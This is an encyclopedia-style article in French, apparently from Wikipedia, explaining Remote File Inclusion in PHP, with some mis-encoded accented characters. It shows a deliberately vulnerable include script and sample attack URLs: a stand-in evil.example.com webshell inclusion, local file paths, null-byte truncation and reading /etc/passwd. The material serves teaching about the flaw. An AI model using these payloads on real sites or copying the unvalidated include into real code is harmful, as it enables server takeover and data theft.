Remote File Inclusion
Remote File Inclusion (RFI) est un type de vulnérabilité trouvé le plus souvent sur des sites web. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à :
- L'exécution de code sur le serveur web
- L'exécution de code sur le cÎté client comme le JavaScript qui peut conduire à d'autres attaques comme Cross-site scripting (XSS)
- DĂ©ni de service (DoS)
- Le vol de données / Manipulation
Les langages de programmation
Les attaques RFI peuvent se produire avec n'importe quel langage de script (ASP, JSP, PHP...).
Exemple en PHP
En PHP, la cause principale est due Ă l'utilisation de variables externes non validĂ©es tels que $_GET, $_POST, $_COOKIE avec une fonction liĂ©e Ă un fichier. Les plus utilisĂ©s sont les fonctions d'include et de require. La plupart des vulnĂ©rabilitĂ©s peuvent ĂȘtre attribuĂ©es aux programmeurs dĂ©butants n'Ă©tant pas au courant de toutes les fonctionnalitĂ©s du langage de programmation PHP. Le langage PHP a une directive allow_url_fopen. Si elle est activĂ©e, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de rĂ©cupĂ©rer des donnĂ©es Ă partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise Ă l'une de ces fonctions pour l'amener Ă inclure du code malveillant Ă partir d'une ressource distante. Pour attĂ©nuer cette vulnĂ©rabilitĂ©, toutes les entrĂ©es utilisateur doivent ĂȘtre validĂ©es avant d'ĂȘtre utilisĂ©es.
Exemple
ConsidĂ©rons ce script PHP qui inclut un fichier spĂ©cifiĂ© par requĂȘte :
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
Le dĂ©veloppeur rend utilisable uniquement blue.php et red.php pour ĂȘtre utilisĂ© comme options. Mais comme tout le monde peut facilement insĂ©rer des valeurs arbitraires en couleur, il est possible d'injecter du code Ă partir de fichiers :
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
- Injecte un fichier hébergé à distance contenant du code malveillant./vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
- Exécute le code à partir d'un fichier déjà téléchargé appelé exploit.php (vulnérabilité d'inclusion de fichiers en local)/vulnerable.php?COLOR=C:\\notes.txt%00
- Par exemple en utilisant le caractÚre méta NULL pour enlever le suffixe php, permettant l'accÚs à des fichiers autres que php... (Avec magic_quotes_gpc activée, elle limite l'attaque par l'échappement des caractÚres spéciaux, cela désactive l'utilisation de la terminaison NULL)/vulnerable.php?COLOR=/etc/passwd%00
- Permet Ă un attaquant de lire le contenu du fichier passwd sur un systĂšme UNIX.